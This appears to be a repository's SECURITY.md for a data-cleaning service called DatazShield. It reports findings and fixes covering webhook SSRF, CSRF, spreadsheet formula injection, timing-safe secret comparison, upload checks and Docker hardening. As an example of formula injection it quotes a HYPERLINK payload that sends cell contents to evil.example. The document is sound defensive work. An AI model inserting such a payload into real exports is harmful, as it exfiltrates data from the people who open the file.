Skip to content

Security: Itachi7011/DatazShield

Security

SECURITY.md

DatazShield — Security

This document is the result of a full security review of DatazShield (auth-service, core-service, cleaning-worker, frontend, database schema, and deployment config), performed prior to the investor demo. It covers: what was reviewed, what was found, what was fixed directly in this codebase, and what remains as an operational recommendation for the team (things that need a business/infra decision, not just code — e.g. buying a WAF, rotating a secret, enabling a cloud provider feature).

Baseline assessment: the codebase already followed strong practices before this review — parameterized SQL everywhere (no string-built queries), bcrypt(12) password hashing, hashed (not raw) refresh tokens and API keys, refresh-token rotation, account lockout + OTP lockout, Zod input validation on every route, tenant/org access control centralized in one module (datasetAccess.js) instead of duplicated per-controller, httpOnly cookies (no tokens in localStorage, so no JS-readable session token to steal via XSS), and secrets kept out of .env.example/git. The findings below are additions/hardening on top of that baseline, not a rescue of a broken system.


1. Findings & fixes (this review)

1.1 SSRF via user-registered webhooks — Fixed

Where: services/core-service/src/controllers/webhook.controller.js, utils/webhooks.js.

Issue: Users can register a webhook URL that core-service later POSTs signed event payloads to (createWebhook, testWebhook, and the async fan-out in dispatchWebhooks). The only validation was "must be https://". A malicious or compromised account could register https://<attacker-controlled-domain>/ that resolves to 169.254.169.254 (cloud instance metadata), 127.0.0.1, or an internal service hostname/IP (postgres, redis, core-service itself), turning our server into a proxy for internal network access — a classic SSRF (OWASP API7:2023).

Fix: New services/core-service/src/utils/ssrfGuard.js:

  • Resolves the hostname via DNS and blocks private/loopback/link-local/reserved IP ranges (RFC1918, 127.0.0.0/8, 169.254.0.0/16 incl. the metadata IP, ULA IPv6, etc.), not just a hostname blocklist — this also stops DNS rebinding (a domain that resolves to a public IP now but could be repointed at an internal one later).
  • Blocks credentials-in-URL, non-https schemes, and a set of internal-service ports (Postgres, Redis, MongoDB, etc.) even on an otherwise-public IP.
  • Re-validates on every dispatch, not just at creation time, and re-validates on every redirect hop via a safeFetch() wrapper that follows redirects manually — fetch()'s default auto-redirect would otherwise let a URL that passed validation 302 straight into a blocked address.

1.2 CSRF exposure on cookie-authenticated state-changing requests — Fixed

Where: new services/{auth,core}-service/src/middleware/csrf.js, wired into both app.js.

Issue: Auth uses httpOnly cookies. In the intended topology, the browser only ever talks to the Next.js origin, which proxies server-side to the two backend services, so cookies are effectively first-party. But both services' ports are also directly published in docker-compose.yml (5001, 5002), and COOKIE_SECURE=true (production) sets sameSite: "none" to support that direct path — which means a cross-site <form> POST (a "simple request", not subject to CORS preflight) would carry the user's cookies to a state-changing endpoint on the backend directly, bypassing the frontend entirely. No CSRF token or Origin check existed to catch this.

Fix: Origin/Referer verification middleware (the OWASP-recommended primary defense for cookie-authenticated JSON APIs) on every non-safe method (POST, PUT, PATCH, DELETE). Requests are only checked when they're actually relying on a cookie for auth (bearer-token / API-key requests are exempt — there's no ambient credential for a third party to ride on). A request whose Origin (or, absent that, Referer) doesn't match the configured CLIENT_URL is rejected with 403 CSRF_BLOCKED before it reaches any controller.

1.3 CSV/XLSX export formula injection (CWE-1236) — Fixed

Where: services/core-service/src/utils/csv.js (rowsToCsv/rowsToExcelBuffer), services/auth-service/src/controllers/adminManagement.controller.js (exportAuditLogsCsv).

Issue: Exported cell values (cleaned dataset rows, audit log metadata) were written verbatim. If a user-uploaded row contains a value starting with =, +, -, or @ (e.g. =HYPERLINK("http://evil.example/steal?"&A1,"click") or a DDE payload), Excel/Sheets/LibreOffice evaluate it as a formula the instant the exported file is opened — a classic vector for data exfiltration or, in older Excel/DDE configurations, command execution. This is attacker data flowing into a file we generate and hand to a (possibly different) user to open, not something the uploader's own risk alone.

Fix: Any field beginning with a formula-trigger character now gets a leading ' (apostrophe), which every major spreadsheet application renders as literal text instead of evaluating — applied before RFC 4180 quoting in the CSV path and before XLSX.utils.json_to_sheet in the Excel export path.

1.4 Timing side-channel on the internal-service shared secret — Fixed

Where: services/core-service/src/routes/internal.routes.js.

Issue: The Python worker → core-service internal webhook-notify endpoint compared x-internal-secret with !==, a non-constant-time string compare. In principle this leaks how many leading characters matched via response timing, letting an attacker with network access to this internal route brute-force the secret character-by-character. Low real-world exploitability (the route isn't internet-facing and the timing signal is small), but cheap and standard to fix.

Fix: crypto.timingSafeEqual on equal-length buffers (length itself is checked separately, which only leaks secret length, not content).

1.5 File upload extension-only validation — Fixed (defense in depth)

Where: services/core-service/src/middleware/csvUpload.js, services/auth-service/src/middleware/avatarUpload.js.

Issue: Both upload middlewares validated the filename extension only (/\.(csv|xlsx|xls)$/i, /\.(jpg|jpeg|png|webp)$/i) — trivially spoofed by renaming any file. Uploaded bytes were otherwise handled safely (parsed with csv-parse/xlsx, not executed; forwarded to Cloudinary which independently validates real image content for resource_type: "image"), so this was defense-in-depth rather than a direct exploit path, but worth tightening ahead of a public demo.

Fix: Added a MIME-type allowlist check alongside the extension check on both middlewares.

1.6 Docker Compose: default credentials, unauthenticated Redis, open DB/queue ports — Fixed

Where: docker-compose.yml, new .env.compose.example.

Issues:

  • Postgres and Redis both published ports to 0.0.0.0 (all interfaces), reachable from anywhere the host is reachable from, not just other containers.
  • Redis had no password (--requirepass) at all — anyone who could reach port 6379 could read/write/flush the live job queue.
  • Postgres/Redis credentials were hardcoded literals in the compose file (datazshield_user / datazshield_pass), so "change the password" meant editing a tracked file instead of an untracked secret.

Fix:

  • All service ports that don't need to be reachable from outside the Docker network now bind to 127.0.0.1 explicitly (127.0.0.1:5432:5432, 127.0.0.1:6379:6379).
  • Redis now requires a password (--requirepass), sourced from REDIS_PASSWORD; both core-service and the worker connect with it in their REDIS_URL.
  • All credentials are now ${VAR:-dev-default} — overridable via a root-level .env (see .env.compose.example) without touching the tracked compose file, with dev-only fallbacks so docker compose up still works out of the box locally.
  • Added deploy.resources.limits (cpu/memory) per service so one runaway container can't starve the others on the same host — also relevant to the load section below.
  • See docker-compose.prod.yml (added as part of the scaling work below) for the production posture: no host-published DB/Redis ports at all.

2. Reviewed and found sound (no change needed)

Documented so the reasoning is visible, not just the conclusion:

  • SQL injection — the Python worker (worker/db/repository.py) and Node services (Prisma) use parameterized queries / an ORM exclusively; grepped the whole repo for string-built SQL and found none.
  • Deserialization — the worker↔queue payloads are JSON (json.loads/json.dumps) end to end, never pickle or eval.
  • XSS / injected scripts — no dangerouslySetInnerHTML, no eval, no dynamic Function() construction anywhere in the frontend.
  • Session token storage — access/refresh tokens live only in httpOnly cookies, never localStorage/sessionStorage, so they aren't readable by injected JS even in a hypothetical XSS.
  • IDOR / multi-tenant isolation — every dataset-scoped controller routes through the single getAccessibleDataset()/datasetVisibilityWhere() helpers in datasetAccess.js, which throw a 404 (never 403) on no-access so a dataset's existence isn't leaked, and separates "can view" from "can manage" (owner or org OWNER/ADMIN only) for destructive actions.
  • Privilege escalation via the compliance-role endpointsetComplianceRole is explicitly restricted to flipping only USER ↔ COMPLIANCE_VIEWER; it refuses to touch any account that's already ADMIN/SUPER_ADMIN, so a compromised admin session can't use it to self-escalate further.
  • Password policy & brute force — 8+ chars with complexity requirements enforced server-side (Zod), bcrypt cost 12, account lockout after 5 failed attempts (15 min), separate strict rate limit on all auth-sensitive routes, OTPs capped at OTP_MAX_ATTEMPTS and invalidated on next-request.
  • Account enumerationresendOtp/forgotPassword return the same response whether or not the email exists.
  • Regex DoS (ReDoS) — the PII-detector patterns (pii_detector.py) are all anchored with bounded quantifiers; none have the nested/overlapping quantifier shape that causes catastrophic backtracking.
  • Stack traces / internal errors — both services' error handlers only include err.stack when NODE_ENV === "development"; production responses are message + error code only.
  • Secrets in the repo — every .env.example ships with blank values; .gitignore excludes real .env/.env.local files.

3. Remaining recommendations (operational, not code)

These need a decision or external setup, not a code change in this repo:

  1. Rotate all secrets before the demo if any .env file has ever been shared over email/Slack/screen-share — JWT_ACCESS_SECRET, JWT_REFRESH_SECRET, ADMIN_SIGNUP_CODE, INTERNAL_API_SECRET, Cloudinary keys, POSTGRES_PASSWORD, REDIS_PASSWORD.
  2. TLS termination: this app assumes TLS is terminated in front of it (load balancer / ingress / reverse proxy) — COOKIE_SECURE=true and HSTS (Strict-Transport-Security, now set in next.config.mjs) both require it, and neither service listens on 443 itself. Confirm the demo/production ingress actually does this.
  3. Consider MFA/step-up verification for admin login. Regular login already has OTP-gated email verification and a LOGIN_2FA OTP purpose exists in the schema, but adminLogin currently only checks password. For an investor demo, admin accounts are a small, low-traffic set — a good candidate to wire LOGIN_2FA into adminLogin as a follow-up if there's time; flagged here rather than changed silently since it changes the admin login UX/flow.
  4. Dependency scanning in CI: run npm audit --omit=dev (per Node service) and pip install pip-audit && pip-audit -r requirements.txt (worker) on every PR — not run as part of this review since it requires network access to the registries from the CI environment, not something to bake into application code.
  5. WAF / DDoS protection in front of the public endpoints for the investor demo if it's reachable from the open internet — the app-level rate limiting here protects the app, not the network layer.
  6. Backups: confirm the Postgres volume (or managed DB, if used for the demo) has automated backups — a data-cleaning product losing a demo dataset mid-pitch is a bad look independent of any security issue.

4. Architecture-level security notes (for reference)

  • Auth model: short-lived JWT access token (15m default) + opaque, hashed, rotating refresh token (30d default) issued via httpOnly cookies; core-service verifies the JWT locally using a secret shared with auth-service (no network round-trip per request) or accepts a hashed API key for programmatic access.
  • Multi-tenancy: personal datasets (organizationId = null) vs. org datasets, access resolved once per request through datasetAccess.js.
  • Compliance features already in place: GDPR/CCPA self-service erasure (cascading delete + a SetNull-actor audit trail proving the request was honored), per-dataset retention windows + a sweep job, CSV audit-log export, IP-allowlisted API keys, signed (HMAC-SHA256) outbound webhooks.
  • Inter-service trust boundary: Node↔Node trusts a shared JWT secret; Python worker↔Node core-service trusts a shared bearer-style secret header (x-internal-secret), now compared in constant time (§1.4) and only used for a single narrow endpoint.

Last reviewed: this pass. Re-review recommended after any change to auth, payment/billing (if added later), file upload, or webhook/integration code.

There aren't any published security advisories